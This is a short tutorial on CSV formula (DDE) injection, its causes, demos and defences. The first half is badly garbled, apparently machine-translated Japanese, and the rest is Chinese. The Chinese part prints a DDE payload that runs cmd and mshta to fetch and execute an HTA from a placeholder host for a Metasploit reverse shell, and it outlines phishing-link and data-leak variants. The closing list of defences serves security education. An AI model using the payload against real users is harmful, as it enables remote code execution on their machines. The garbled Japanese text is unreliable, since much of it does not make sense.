「ネットワークセキュリティのために、すべての外部入力は信憑性はありません」。しかし、CSVファイルインジェクションの脆弱性は、確かに、多くの場合、私たちの心の第一印象は、原因アラームに失敗したプレーンテキストファイルとしてCSVファイルであり、その理由は、かもしれ、見過ごされて。
まず、脆弱性の定義
通常のユーザーが悪意のあるコマンドや関数は、攻撃的な行動で、その結果、CSVファイルを開くには、Excelを使用した後に実行されるように、CSVファイルのコマンドや関数に、悪意のある攻撃者を構築することにより。
第二に、脆弱性結果の原因
1、CSVファイル、いくつかの特殊記号 "+、 - 、@、="
彼は操作番号ミンガが実行され、前記のようにCSVセルに「= 1 + 1」を入力してみてください、輸送した後、値は、セル2内に見つかりました。
、プラス記号に加えて、「 - 」、「@」、「=」は式として解釈されます。
2、DDE(動的データ交換)
DDEは、サーバから情報を取得するクライアントとして、Windowsでプロセス間通信プロトコルであり、動的なデータ交換機構であり、DDE通信を使用して2つのWindowsアプリケーションを必要とし、そのサーバプロセス情報として、その他。DDEのサポートをMicrosoft Excel、LibreOfficeのとApache OpenOfficeの。エクセル、ワード、RTF形式は、Outlookは、外部アプリケーションの結果に基づいて、ハンドルの更新にこのメカニズムを使用することができます。私たちが含有させるのであればDDEの式のCSV ファイルを使用すると、ファイルを開いたときに、そう、Excelが外部アプリケーションを実行しようとします。
第三に、脆弱性のデモ
1、OSコマンドの実行
CSVファイルでDDE式を構築することによって、あなたはCMDは、オペレーティングシステムコマンドの実装の目的を達成呼び出すことができます。
以下に示すように、入力は1 + cmdをセルに!|輸送ボックスは、別のプログラム(CMD)を起動するために、Excel、Excelのリマインダー必要性をポップアップ表示されます後に「/ C CALC」A0、[はい]をクリックし、Windowsの電卓がポップアップ表示されますウィンドウ。
利用Metasploit可以生成payload,可以使用下面的注入执行payload,从而达到反弹shell的目的。
=1+cmd|'/c mshta.exe http://XXXXX:8080/Micropoor.hta '!A0
因此,利用这种漏洞危害,我们可以在用户的操作系统上执行添加用户、开启任意程序、操作注册表、反弹shell等命令。
2、跳转至钓鱼网站
当用户点击下面链接时,会使用IE浏览器打开攻击者提供的钓鱼网站,起到钓鱼的目的。
3、信息泄露
通过在CSV文件中注入超链接函数,当用户打开文件并点击链接时,可以把指定的单元格内容提交到指定网址(如下提交A2/A3单元格的内容)。
四、漏洞发生的场景
当网站提供CSV文件导出功能时,如果用户可以控制CSV文件的内容,就可能发送此类攻击。
比如攻击者可以在登录输入框、以及其他的查询、写入功能中注入恶意命令,当管理员使用CSV格式导出网站日志时,就可能发生此类攻击。
五、漏洞防御
1、确保单元格不以特殊字符(“+、-、@、=”)开头;
2、对单元格的内容进行特殊字符(“+、-、@、=”)过滤;
3、先对原始输入内容进行转义(双引号前多加一个双引号),然后在添加tab键和双引号防止注入;
4、禁止导出CSV、Excel格式;
5、导出为Excel格式前,利用代码把单元格的格式设置为文本(对CSV不生效)。
防御措施面临的困难:
1、对单元格内容进行处理势必会改变原始内容,对于需要数据导出后在导入其他系统进行执行的场景,对业务会有影响;
2、对于数据量大的场景,如果在导出进行过滤、转义等操作,会影响导出效率。